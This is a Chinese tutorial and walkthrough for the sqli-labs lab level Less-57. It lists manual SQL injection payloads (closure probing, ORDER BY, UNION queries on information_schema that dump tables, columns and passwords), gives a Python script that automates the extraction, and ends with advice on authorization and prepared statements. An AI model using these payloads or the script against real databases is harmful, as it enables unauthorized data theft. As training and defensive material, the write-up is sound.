如果你刷sqli-labs靶场刷到 Less-57,多半会有一个感觉:前面那些关卡白学了。原因很简单,Less-57 和前几十关的“喂饭”模式完全不同,它属于挑战关:闭合方式不会写在题目里,表名又是随机生成的,哪怕你手里有一堆现成 Payload,直接套 Less-1 的模板也只会反复撞墙。这篇文章专门围绕sqli-labs-Less-57展开,讲清楚这一关到底考什么、怎么手工过关,以及怎么用脚本把这一关彻底拿捏。不管你是刚开始接触 SQL 注入,还是已经刷到挑战关想收尾,这篇都值得看完,尤其是最后那几段踩坑记录和防御视角,可能比 Payload 本身更有用。
Less-57 的定位是“黑盒挑战”,它不会告诉你后端代码长什么样,你必须靠页面回显和报错差异,自己反推出参数的拼装方式。它模拟的场景非常真实:一个 ID 参数被后端用双引号包起来,外面再加了一层括号,类似WHERE id=("$id")。这种写法在真实代码里不罕见,尤其是把参数直接塞进函数调用或组合条件里的时候。你要做的,就是通过构造特殊输入,把前面的双引号和括号“闭掉”,让自己的 SQL 片段能够接在后面继续执行。
1. 先把 Less-57 的位置和思路盘清楚
1.1 从普通关到挑战关,变化在哪里
sqli-labs 前面十几关是典型的“教科书模式”,每一关都在告诉你一个知识点:单引号闭合、双引号闭合、数字型、基于报错、基于布尔盲注、基于时间盲注……你只要按照提示去试,基本都能过关。但 Less-54 到 Less-57 这批挑战关,官方刻意去掉了提示,要求你像做真实渗透测试一样,从零开始探测。
Less-57 在挑战关序列里的特征是:参数被双引号和右括号一起包裹。这一点如果你不知道,只靠单引号去测,会发现怎么测都是空白页面或者无回显,但又不报错,非常容易误判成“这里没有注入”。
我最初刷这一关的时候,先试了?id=1',页面正常显示,但内容没有变化;再试?id=1'--+,还是没反应。当时差点直接跳过。后来静下心一想,这种“不报错但也不出数据”的现象,通常说明输入被当成了普通字符串的一部分,而不是提前结束了 SQL 语句。于是开始逐个测试双引号、括号、组合闭合,最后试到?id=1")--+,页面正常回显,才真正确定闭合方式。
1.2 为什么挑战关难住那么多新手
新手在这里最容易犯的错,就是“重模板、轻观察”。脑子里装了 Less-1 的?id=1' order by 3--+,到了 Less-57 还是原封不动地打,发现不对就开始怀疑工具、怀疑靶场。实际上,SQL 注入的本质不是背 Payload,而是理解后端如何拼接字符串。
假设后端 SQL 长这样:
SELECT * FROM users WHERE id=("$id") LIMIT 0,1;当你传1'进去,实际执行的 SQL 是:
SELECT * FROM users WHERE id=("1'") LIMIT 0,1;注意看,1'只是变成了括号里的一个字符串值,SQL 语法完全正确,但这个值在表里当然不存在,所以查询结果为空,页面显示“没有该记录”。这就是为什么你看到的是空白而不是报错。
当你传1' or 1=1--+还是没反应,因为单引号没有闭合任何东西,or 1=1照样只是字符串的一部分。只有当传入1")时,SQL 变成:
SELECT * FROM users WHERE id=("1")") LIMIT 0,1;多了一个双引号,括号也提前闭合了,语法直接出错,页面才会抛出 SQL 错误。这种“报错才是有效线索”的意识,是挑战关真正想训练的东西。
1.3 过关前要补的最小知识集
如果你是从前面关卡一路打过来的,下面这些应该都见过,但值得在打进 Less-57 之前再温习一遍:
- 联合查询:
union select 1,2,3的目标是让原查询和注入出来的查询结果合并,把数据从页面上“借位”显示出来。 - order by 判列数:
order by 3正常、order by 4报错,说明原查询只有 3 列,联合查询里也必须写 3 列。 - information_schema:MySQL 的元数据库,里面存着所有库名、表名、列名。对于表名随机生成的挑战关来说,这是唯一的突破口。
- 注释符与 URL 编码:常用
--+,实际含义是--加一个空格,加号被后端解析成空格。不注释掉后面的 SQL 片段,union 查询很容易受干扰。
2. 手工探测闭合方式,这步决定了后面所有操作
2.1 第一轮试探,逐步缩小范围
先把目标地址假定为本地靶场环境,比如http://127.0.0.1/sqli-labs/Less-57/,页面里有一个id参数。
正常访问:
?id=1页面会返回类似:
Your Login name: Dumb Your Password: Dumb这个时候你需要做一组测试,把常见的闭合字符都过一遍:
?id=1' ?id=1" ?id=1') ?id=1") ?id=1')) ?id=1"))Less-57 这关的关键路径是?id=1")。当你访问?id=1")时,页面会出现 SQL 语法错误的提示,说明我们输入的")参与了 SQL 解析,导致原本合法的语句结构被破坏。换个角度说,这个错误就是“你找到了闭合方式”的信号。
需要特别提醒的是,双引号在 URL 里直接传是可以的,但有些环境或中间件会对双引号做额外处理。为了更稳,可以在实际请求中把双引号做 URL 编码:%22。也就是请求:
?id=1%22)--+这样发出去后,后端拿到的参数值依然是1")--,但整个 URL 更兼容、更不容易被 Web 层拦掉。
2.2 确认闭合后的标准姿势
找到能够触发报错的输入后,接下来要确认“闭合 + 注释”组合能不能让页面恢复正常,并且返回数据。
请求:
?id=1")--+如果页面恢复成正常的数据回显,说明我们构造的")成功闭合了 SQL 语句中的双引号和右括号,而--+把后面原本存在的内容(比如LIMIT 0,1)注释掉了。此时后端实际执行的 SQL 大概是:
SELECT * FROM users WHERE id=("1")")-- ') LIMIT 0,1;其中后面被注释掉的部分不再生效。这时候,注入点已经彻底可控,后面的所有操作都可以基于这个闭合模板展开。
2.3 用 order by 确定列数
闭合确定之后,下一步是判列数。Less-57 的表结构虽然表名随机,但查询列数固定为 3 列。
依次尝试:
?id=1") order by 3--+ ?id=1") order by 4--+第一条如果正常回显,说明原查询至少能按第 3 列排序;第二条如果报错,说明列数最多到 3。那么联合查询就是:
?id=1") union select 1,2,3--+请求之后,页面的 Login name 和 Password 位置如果出现数字2和3,说明这两个字段位可以被我们控制。这个回显位置会成为后面“搬运数据”的窗口。
如果order by 3和order by 4都正常,别急着往下走,说明闭合可能没找对。比如你把双引号漏了,实际执行的是order by 3作为字符串的一部分,并没有真正进入排序逻辑,当然不会报错。这种时候回头检查闭合。
3. 联合注入:把随机表名一点点“钓”出来
3.1 为什么要先去查 information_schema
Less-57 的目标表名是随机生成的,不可能靠猜。比如它可能是4j7h5da1x2这种字符串,也可能是其他随机组合。表名都不知道,自然没法直接select * from 某表,所以必须先通过 MySQL 自带的information_schema.tables,把数据库里所有表名列出来,再从里面锁定目标表。
在联合查询里,我们可以把第二个回显位换成table_name,让页面把表名直接显示出来。
请求:
?id=1") union select 1,table_name,3 from information_schema.tables where table_schema=database()--+这里database()是当前使用的数据库名。因为挑战关的业务表就放在当前库里,所以过滤条件足够精准。执行后,页面的 Login name 或 Password 位会显示一个或多个表名。
如果显示的列表太长,或者页面回显区域有限,可以使用group_concat(table_name)把表名拼成一行,方便直接看全:
?id=1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+Limit 也可以用,适合回显区域比较小的情况,比如limit 0,1一个个翻。不过挑战关场景下业务表通常只有一个,多数情况一页就出结果。
3.2 拿到表名后,继续挖列名
假设页面显示的表名是r4d0m_tbl。下一步去information_schema.columns里查这个表有哪些列:
?id=1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='r4d0m_tbl'--+执行后,列名会拼在一起显示。常见情况下,挑战关的表会有id、username、password或flag之类的字段。因为列名也未知,这一趟是必须的。
有一个细节:如果我写的这个随机表名里包含单引号,而表名在查询里是用单引号包裹的,会不会冲突?MySQL 的标识符和字符串是两回事。在这个查询里,表名是作为字符串常量传给table_name='r4d0m_tbl',所以不会因为表名本身是随机字符串而需要额外转义。除非表名正好是保留字或者带有特殊字符,那在最终select时需要加反引号包裹,比如`r4d0m_tbl`。不过挑战关一般不会设置这种极端障碍。
3.3 最后一步,爆出表内数据
列名已知后,直接查数据。假设列名是id,username,password:
?id=1") union select 1,username,password from r4d0m_tbl--+这时页面的回显位就会出现用户名和密码,挑战完成。
注意一个顺序问题:联合查询要求两边的列数相同。原查询 3 列,所以这里union select 1,username,password也是 3 列。不要把username放到union select的第一个位置,除非你确定页面第一列有回显。Less-57 通常只有第 2、第 3 位能看到数据,所以就按这个结构写。
3.4 手工操作时的几个小技巧
- 一次会话内做完:挑战关的随机表名是“重置关卡”时生成的,同一轮挑战里不会有变化。如果你中途刷新太多次,可能触发新的随机表名,导致前面查到的表名失效。手工测试时,拿到表名后尽快完成后续查询。
- 注意回显位置迁移:当
union select 1,table_name,3返回了表名,后面你要爆字段时,如果字段特别长、页面显示不下,可以换一个回显位。比如第 2 位放column_name,第 3 位放table_name,或者反过来,灵活处理。 - 单引号和双引号注意编码:在
information_schema查询里,table_name='xxx'使用了单引号。这个单引号和注入闭合用的双引号不冲突,但 URL 里直接写没问题。如果你用了 Burp 或浏览器测试,确保编码正确。
4. 实战中踩过的坑:排查清单与避坑技巧
4.1 页面空白但不报错,怎么办
这是 Less-57 最坑的一点。单引号探测时,页面经常是“白板”或“无数据”,导致很多人认为不存在注入。
我的处理办法是:把1'改成1'--+,再看一次。如果还是空白,就继续试双引号和括号组合。核心思路不是看“有没有回显变化”,而是看“有没有 SQL 语法错误”。在本地靶场中,如果开了错误提示,正确闭合的输入一定会触发 SQL 报错。一旦看到类似You have an error in your SQL syntax的提示,就说明闭合字符对了。
如果你在测试时发现很难从页面上分辨是否报错,可以直接看返回包的响应体,或者在 Burp 里查看原始响应。盲测时我经常用响应长度判断:正常页面几百字节,报错页面可能上千字节,差异很明显。
4.2 order by 一会成功一会失败,可能是闭合不稳定
有个例外情况:闭合方式确实是对的,但order by之后不报错。比如某些后端代码对order by后内容做了白名单校验,或者把非预期输入强制转成了字符串。这种情况虽然 Less-57 没遇到,但在真实测试里常见。
如果你在 Less-57 遇到order by 3正常、order by 4也正常,先不要怀疑自己。可以直接用联合查询试列数:union select 1,2,3如果内容显示出来了,说明 3 列可行;再试union select 1,2,3,4,如果报错,说明就是 3 列。用联合查询的报错来判断列数,比 order by 更直观。
4.3 查表名查出来一堆系统库的表
如果你在information_schema.tables里直接不带条件地查询,会看到information_schema、performance_schema、mysql、sys等系统库表,干扰视野。
解决方法是规范化过滤条件:
where table_schema=database()如果业务表确实不在当前库,也可以改成:
where table_schema not in ('information_schema','performance_schema','mysql','sys')通常挑战关无关系统表,直接table_schema=database()就够了。
4.4 group_concat 结果被截断,看不全
页面回显区域有限,当字段多、表名长时,group_concat可能会被截断,只显示一部分。这种情况下,建议使用limit分页查看:
union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1然后改limit 1,1看第二个,以此类推。每次只输出一个值,页面再窄也能看清。
4.5 大小写和反引号问题
MySQL 在 Linux 下表名区分大小写,Windows 下不区分。Less-57 的随机表名经常混合大小写,如果你手动输入表名时大小写写错了,可能查不到数据。这里建议直接复制页面回显的表名,不要自己敲。
如果表名是纯数字开头,或者包含特殊字符,MySQL 会把它当成数字或表达式,导致查询出错。解决办法就是在最终查询时把表名用反引号包起来:
union select 1,username,password from `r4d0m_tbl`虽然挑战关很少需要,但这是一个通用习惯。
5. 用脚本把 Less-57 一键打通
手工做完一轮流程后,可以考虑把整个步骤脚本化。这样一方面能加深理解,另一方面也为以后刷类似的“随机表名挑战关”积累模板。我提供一个最小流程,基于 Python 的 requests 库,只写清思路,实际使用时根据你自己的页面结构微调即可。
脚本逻辑分四步:
- 确认闭合方式。
- 查表名。
- 查列名。
- 查数据。
代码如下:
import requests import re # 靶场地址,本地测试环境,请确保你有权访问 base_url = "http://127.0.0.1/sqli-labs/Less-57/" session = requests.Session() def send(payload): # 这里 payload 是完整拼接好的 id 参数值 url = base_url + "?id=" + payload r = session.get(url, timeout=10) return r.text # 1. 验证闭合:双引号加右括号 html = send('1%22)%20order%20by%203--+') print("order by 3 length:", len(html)) html = send('1%22)%20order%20by%204--+') print("order by 4 length:", len(html)) # 2. 查表名,你需要在响应里匹配回显位置 payload = "1%22)%20union%20select%201,table_name,3%20from%20information_schema.tables%20where%20table_schema=database()--+" html = send(payload) # 用正则或 BeautifulSoup 提取页面中的表名 # 不同版本页面结构不同,这里只是示例,请按实际响应调整 match = re.search(r"Login name:\s*(.*?)\s*</font>", html) if match: table_name = match.group(1).strip() print("Found table:", table_name) else: print("Table not found, check page structure") print(html[:1000]) raise SystemExit(1) # 3. 查列名 payload_col = f"1%22)%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name='{table_name}'--+" html = send(payload_col) print("Column raw output:") # 自行从 html 提取列名,这里只打印响应便于观察 print(html[:2000]) # 4. 已知列名后查数据,这里假设列名是 username,password payload_data = f"1%22)%20union%20select%201,username,password%20from%20{table_name}--+" html = send(payload_data) # 从响应中提取 username 和 password这段脚本里最大的变量是页面结构解析。sqli-labs 靶场版本比较多,有的输出Your Login name,有的输出Username,还有的引入了额外样式标签。所以我没有把正则写死,更推荐你先把第二步的响应打印出来,人工看一眼格式再写提取逻辑。
另一个建议:脚本中用会话保持 Cookie,避免某些关卡依赖会话状态导致查询结果不稳定。我在刷挑战关时踩过这个坑,开了新的无 Cookie 请求后表名直接变掉了。
6. 从 Less-57 学到的通用思路,以及防御视角
6.1 黑盒闭合探测的本质是什么
Less-57 表面上是让我学会用")闭合,但更深一层,它训练的是“信息差”判断能力:你看到的正常输出、空输出、报错输出,都是信息。每一次请求回显的差异,都在透露后端拼接逻辑的蛛丝马迹。
真实漏洞挖掘中,很少会遇到教科书一样的理想环境。参数可能被过滤、可能被编码、可能有多层嵌套。你能做的,就是坚持尝试不同的闭合组合,并通过响应差异推导出结构化语法。这个过程靠背 Payload 是做不到的,必须理解 SQL 解析器眼里你的输入到底变成了什么。
6.2 这一关为什么强调“参数拼装”问题
举个生活例子:你把一张写了文字的纸条塞进一本已经印刷好的杂志里,如果你塞得位置不对,整个杂志页码就错乱;如果你刚好把纸条剪成和杂志缺口完全吻合的形状,你的内容就能被当成“原本就有的内容”展示出来。SQL 注入的闭合过程就是这个原理。Less-57 的双引号加括号,就是那个需要剪裁吻合的特殊缺口。
6.3 防御侧该怎么做
写到这里必须强调:Less-57 这类靶场是用来学习和理解漏洞原理的,所有测试都应当放在自己搭建的本地环境或获得授权的靶场中。未经授权对他人网站做注入测试,在任何地区都是违法的。
而从防御角度看,Less-57 展示的问题其实很容易根治:用参数化查询或预编译语句,就不会存在“拼接缺口”。比如 PHP 的 PDO 预编译写法:
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);无论$id传什么值进去,数据库只会把它当作一个字符串参数,而不是 SQL 语法结构的一部分。双引号也好、右括号也好,都变成无害的数据。这也是我在刷完 Less-57 以后最大的感受:攻击端的复杂操作,在防御端往往只是一行代码的差距。
拿我自己来说,Less-57 是当时挑战关里卡得最久的一关。原因不是它有多难,而是我一开始太想秀 Payload,忽略了“先确认闭合”这一基础操作。等到老老实实做了一轮闭合探测、把报错信息当成唯一依据之后,后面的路反而顺畅了。如果你现在也卡在这一关,先别急着复制别人的脚本,自己把1"、1")、1")--+一个一个试过去,体会到报错出现的瞬间,这一关的学费才算真正值回来了。